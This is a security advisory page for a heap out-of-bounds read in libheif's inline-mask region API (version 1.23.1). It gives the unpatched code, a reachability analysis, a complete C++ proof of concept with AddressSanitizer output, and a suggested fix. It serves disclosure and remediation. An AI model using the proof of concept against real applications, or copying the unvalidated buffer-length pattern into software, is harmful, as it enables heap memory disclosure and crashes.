Skip to content

GHSA-p58j-h3vm-3fp5 on CTRL-OS 26.05

Aliases: GHSA-p58j-h3vm-3fp5

Packages: libheif

Status: Plausible

Advisory Information

Heap out-of-bounds read in libheif inline-mask region API (heif_region_item_add_region_inline_mask_data / heif_region_get_mask_image)

Summary

The public libheif region-writing API heif_region_item_add_region_inline_mask_data() stores an inline mask region using a caller-supplied buffer length (mask_data_len) without validating it against the region geometry (width × height). A later call to heif_region_get_mask_image() (via heif_region_get_inline_mask_image()) computes the number of mask bytes to read from width and height — i.e. ceil(width * height / 8) — and reads that many bytes from the stored buffer.

When mask_data_len is smaller than ceil(width * height / 8), the read walks past the end of the heap allocation, producing a heap-buffer-overflow (out-of-bounds read). Because the bytes read are written into the returned monochrome mask image, the overflow can additionally disclose adjacent heap memory to the caller, not merely crash the process.

Affected component

  • Product: libheif
  • Version tested: 1.23.1 (commit d035da94)
  • File: libheif/api/libheif/heif_regions.cc
  • Functions:
  • heif_region_item_add_region_inline_mask_data() — under-validated write
  • heif_region_get_inline_mask_image() — out-of-bounds read
  • Weakness: CWE-125 (Out-of-bounds Read); root cause CWE-131 (Incorrect Calculation of Buffer Size) / missing length validation.

Severity

  • Impact: Denial of service (crash) and out-of-bounds heap read / information disclosure.
  • Vector: Not reachable through file parsing (see Reachability below); reachable through the public writer API. Applications that build or re-emit region metadata from externally-influenced width / height / mask bytes are affected.
  • CVSS 3.1 (suggested): AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L - 4.4 (Medium). Adjust C upward for applications that expose the returned mask image contents.

Root cause

1. Writer accepts an undersized buffer

heif_region_item_add_region_inline_mask_data() (original, unpatched):

heif_error heif_region_item_add_region_inline_mask_data(heif_region_item* item,
                                                        int32_t x, int32_t y,
                                                        uint32_t width, uint32_t height,
                                                        const uint8_t* mask_data,
                                                        size_t mask_data_len,
                                                        heif_region** out_region)
{
  auto region = std::make_shared<RegionGeometry_InlineMask>();
  region->x = x;
  region->y = y;
  region->width  = width;                     // attacker-declared geometry
  region->height = height;
  region->mask_data.resize(mask_data_len);    // <-- trusts caller length verbatim
  std::memcpy(region->mask_data.data(), mask_data, region->mask_data.size());

  item->region_item->add_region(region);
  ...
}

The stored buffer has exactly mask_data_len bytes. There is no check that mask_data_len >= ceil(width * height / 8), and no check for width == 0, height == 0, or mask_data == nullptr.

2. Reader derives the read length from the geometry, not the buffer

heif_region_get_inline_mask_image():

uint32_t width  = *out_width  = mask->width;
uint32_t height = *out_height = mask->height;
uint8_t* mask_data = mask->mask_data.data();
...
uint64_t pixel_index = 0;
for (uint32_t y = 0; y < height; y++) {
  for (uint32_t x = 0; x < width; x++) {
    uint64_t mask_byte = pixel_index / 8;
    uint8_t  pixel_bit = uint8_t(0x80U >> (pixel_index % 8));
    p[y * stride + x] = (mask_data[mask_byte] & pixel_bit) ? 255 : 0;  // OOB read
    pixel_index++;
  }
}

The loop dereferences mask_data[0 .. ceil(width*height/8) - 1]. Nothing ties that range to mask->mask_data.size(), so when the stored buffer is shorter, the read runs off the end of the allocation. Each out-of-bounds byte read is also folded into the returned mask image (p[...]), turning the over-read into a potential heap-memory leak.

Reachability analysis

The equivalent file-parsing path is not vulnerable and must not be confused with this issue. RegionGeometry_InlineMask::parse()inlibheif/region.cc` recomputes the canonical size and validates the input before copying:

uint64_t bytes_for_mask = (static_cast<uint64_t>(width) * height + 7) / 8;
...
if (data.size() - *dataOffset < bytes_for_mask) {           // rejects short data
    return Error(heif_error_Invalid_input, heif_suberror_Invalid_region_data,
                 "Insufficient data remaining for inline mask region data[]");
}
mask_data.resize(bytes_for_mask);                            // canonical size
std::copy(..., bytes_for_mask, mask_data.begin());

Therefore a malicious .heif file cannot reach the overflow. The vulnerability is confined to the public writer API: any application that constructs an inline mask region with a width/height/mask_data_len combination derived from untrusted input (e.g. a metadata converter, an image editor that re-emits regions, or a transcoding pipeline copying region data between assets) will trigger it when the region is later rendered with heif_region_get_mask_image().

Proof of concept

The PoC constructs an inline mask region declared as 64 × 3 (ceil(64*3/8) = 24 bytes required) while supplying a 1-byte mask buffer, then renders it. A heif_region_item is created directly to keep the PoC free of any codec/encoder dependency; in production the same object is returned by heif_image_handle_add_region_item().

Proof of concept - full source (poc_inline_mask_oob.cc)

#include <cstdio>
#include <cstdint>
#include <memory>
#include <vector>

#include "libheif/heif.h"
#include "libheif/heif_regions.h"
#include "api_structs.h"   // internal: struct heif_region_item / heif_region
#include "region.h"        // internal: class RegionItem

int main()
{
    const uint32_t width  = 64;   // declared geometry -> needs (64*3+7)/8 = 24 bytes
    const uint32_t height = 3;
    std::vector<uint8_t> mask_data(1, 0xff);   // but only 1 byte is supplied

    // In a real application this heif_region_item is returned by
    // heif_image_handle_add_region_item(); built directly here to avoid a codec dependency.
    heif_region_item region_item;
    region_item.region_item = std::make_shared<RegionItem>(1, width, height);

    heif_region* region = nullptr;
    heif_error err = heif_region_item_add_region_inline_mask_data(
        &region_item, 20, 50, width, height,
        mask_data.data(), mask_data.size(), &region);   // returns OK (bug #1)
    printf("[*] add_region_inline_mask_data -> code=%d (0=OK)\n", err.code);
    printf("    stored mask bytes = %zu, reader needs %u bytes\n",
           (size_t)mask_data.size(), (width * height + 7) / 8);
    if (err.code != 0 || region == nullptr) return 1;

    int32_t x = 0, y = 0; uint32_t w = 0, h = 0;
    heif_image* mask_img = nullptr;
    err = heif_region_get_mask_image(region, &x, &y, &w, &h, &mask_img);  // OOB read (bug #2)

    if (mask_img) heif_image_release(mask_img);
    heif_region_release(region);
    return 0;
}

Build & run (AddressSanitizer)

c++ -fsanitize=address -g -std=c++20 \
    -DHAVE_BIT -DHAVE_UNISTD_H -DHAVE_VISIBILITY -DIS_BIG_ENDIAN=0 \
    -I build-asan -I libheif -I libheif/api -I include/libheif -I include \
    poc/poc_inline_mask_oob.cc -o build-asan/poc_inline_mask_oob \
    -L build-asan/libheif -lheif -Wl,-rpath,"$PWD/build-asan/libheif"

ASAN_OPTIONS=detect_leaks=0 ./build-asan/poc_inline_mask_oob

Observed output

[*] add_region_inline_mask_data -> code=0 (0=OK)
    stored mask bytes = 1, but reader will need 24 bytes
[*] calling heif_region_get_mask_image() -> triggers OOB read...
=================================================================
==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000051
READ of size 1 at 0x502000000051 thread T0
    #0 heif_region_get_inline_mask_image  libheif/api/libheif/heif_regions.cc:465
    #1 heif_region_get_mask_image         libheif/api/libheif/heif_regions.cc:482
    #2 main                               poc/poc_inline_mask_oob.cc:67

0x502000000051 is located 0 bytes after 1-byte region [0x502000000050,0x502000000051)
allocated by thread T0 here:
    #7 heif_region_item_add_region_inline_mask_data  libheif/api/libheif/heif_regions.cc:417

SUMMARY: AddressSanitizer: heap-buffer-overflow libheif/api/libheif/heif_regions.cc:465
         in heif_region_get_inline_mask_image

The 1-byte allocation originates in the writer (resize(mask_data_len), line 417); the out-of-bounds read occurs in the reader loop (line 465).

Impact escalation (information disclosure)

The over-read is not limited to a single byte. Increasing height (e.g. 64 × 1000 requires ~8000 bytes) causes the reader to consume thousands of bytes past the 1-byte allocation, and each byte is written into the returned mask image. An application that renders the mask and exposes it (saves it, displays it, or returns its pixels) therefore leaks adjacent heap contents. Without a sanitizer the over-read is silent — it reads neighbouring heap memory rather than crashing - which is why the flaw is easy to miss in normal testing.

Suggested remediation

Validate the buffer length against the geometry (and reject degenerate inputs) inside heif_region_item_add_region_inline_mask_data(), and store only the canonical number of bytes:

if (mask_data == nullptr)
    return heif_error_null_pointer_argument;

if (width == 0 || height == 0)
    return {heif_error_Invalid_input, heif_suberror_Invalid_region_data,
            "Inline mask image has zero width or height"};

uint64_t mask_size = (static_cast<uint64_t>(width) * height + 7) / 8;
if (mask_size > std::numeric_limits<size_t>::max())
    return {heif_error_Memory_allocation_error, heif_suberror_Security_limit_exceeded,
            "Inline mask size overflow"};

if (mask_data_len < static_cast<size_t>(mask_size))
    return {heif_error_Invalid_input, heif_suberror_Invalid_region_data,
            "Inline mask data is too short"};

region->mask_data.resize(static_cast<size_t>(mask_size));   // canonical size only
std::memcpy(region->mask_data.data(), mask_data, region->mask_data.size());

This mirrors the validation already performed in the file-parsing path (RegionGeometry_InlineMask::parse) and guarantees the reader's ceil(width*height/8)-byte scan always stays within the allocation.

As defence in depth, heif_region_get_inline_mask_image() should additionally clamp its reads to mask->mask_data.size().

Timeline / disclosure

  • Vulnerability identified in heif_region_item_add_region_inline_mask_data().
  • Reproduced with AddressSanitizer against libheif 1.23.1 (commit d035da94).
  • Reported to the maintainers via a private security advisory.

Updates

2026-08-25 14:41 CEST

Metadata changes:

  • Status for package libheif: “Plausible

2026-08-25 14:40 CEST

Metadata changes:

  • Status for package libheif: “New